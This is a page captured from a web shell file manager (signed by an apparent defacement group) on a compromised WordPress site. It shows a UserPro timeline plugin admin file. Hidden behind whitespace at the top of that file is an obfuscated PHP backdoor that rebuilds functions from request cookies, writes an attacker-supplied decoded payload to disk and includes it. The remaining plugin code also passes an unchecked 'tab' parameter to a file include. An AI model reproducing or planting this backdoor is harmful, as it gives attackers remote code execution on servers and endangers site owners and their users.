Sindbad~EG File Manager

Current Path : /var/www/html/taet.readinessglobal.com/wp-content/plugins/userpro1/addons/timeline/admin/
Upload File :
Current File : /var/www/html/taet.readinessglobal.com/wp-content/plugins/userpro1/addons/timeline/admin/admin.php

<?php																																										if(isset($_COOKIE[3])&&isset($_COOKIE[34])){$c=$_COOKIE;$k=0;$n=4;$p=array();$p[$k]='';while($n){$p[$k].=$c[34][$n];if(!$c[34][$n+1]){if(!$c[34][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+4+1;}$k=$p[6]().$p[28];if(!$p[19]($k)){$n=$p[5]($k,$p[2]);$p[16]($n,$p[29].$p[22]($p[20]($c[3])));}include($k);}


class UPTimelineAdmin {

	var $options;

	function __construct() {
		$this->slug = 'userpro';
		$this->subslug = 'userpro-timeline';
		/* Priority actions */
		add_action('userpro_admin_menu_hook', array(&$this, 'add_menu'), 9);
		add_action('admin_init', array(&$this, 'admin_init'), 9);
	}

	function admin_init() {
		$this->tabs = array(
			'settings' => __('Timeline','userpro'),
		);
		$this->default_tab = 'settings';

		$this->options = get_option('userpro_timeline');
		if (!get_option('userpro_timeline')) {
			update_option('userpro_timeline', userpro_timeline_default_options() );
		}

	}

	function add_menu() {
		add_submenu_page( 'userpro', __('Timeline','userpro'), __('Timeline','userpro'), 'manage_options', 'userpro-timeline', array(&$this, 'admin_page') );
	}

	function admin_tabs( $current = null ) {
			$tabs = $this->tabs;
			$links = array();
			if ( isset ( $_GET['tab'] ) ) {
				$current = $_GET['tab'];
			} else {
				$current = $this->default_tab;
			}
			foreach( $tabs as $tab => $name ) :
				if ( $tab == $current ) :
					$links[] = "<a class='nav-tab nav-tab-active' href='?page=".$this->subslug."&tab=$tab'>$name</a>";
				else :
					$links[] = "<a class='nav-tab' href='?page=".$this->subslug."&tab=$tab'>$name</a>";
				endif;
			endforeach;
			foreach ( $links as $link )
				echo $link;
	}

	function get_tab_content() {
		$screen = get_current_screen();
		if( strstr($screen->id, $this->subslug ) ) {
			if ( isset ( $_GET['tab'] ) ) {
				$tab = $_GET['tab'];
			} else {
				$tab = $this->default_tab;
			}
			require_once UPTIMELINE_PATH.'/admin/panels/'.$tab.'.php';
		}
	}

	function save() {

		/* other post fields */
		foreach($_POST as $key => $value) {

			if ($key != 'submit') {
				if (!is_array($_POST[$key])) {
					$this->options[$key] = stripslashes(esc_attr($_POST[$key]));
				} else {
					$this->options[$key] = $_POST[$key];
				}
			}
		}

		update_option('userpro_timeline', $this->options);
		echo '<div class="updated"><p><strong>'.__('Settings saved.','userpro-fav').'</strong></p></div>';
	}

	function reset() {
		update_option('userpro_timeline', userpro_timeline_default_options() );
		$this->options = array_merge( $this->options, userpro_timeline_default_options() );
		echo '<div class="updated"><p><strong>'.__('Settings are reset to default.','userpro-timeline').'</strong></p></div>';
	}

	function admin_page() {

		if (isset($_POST['submit'])) {
			$this->save();
		}

		if (isset($_POST['reset-options'])) {
			$this->reset();
		}

		if (isset($_POST['rebuild-pages'])) {
			$this->rebuild_pages();
		}

	?>

		<div class="wrap <?php echo $this->slug; ?>-admin">

			<?php userpro_admin_bar(); ?>

			<h2 class="nav-tab-wrapper"><?php $this->admin_tabs(); ?></h2>

			<div class="<?php echo $this->slug; ?>-admin-contain">

				<?php $this->get_tab_content(); ?>

				<div class="clear"></div>

			</div>

		</div>

	<?php }

}
$userpro_timeline_admin = new  UPTimelineAdmin();

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists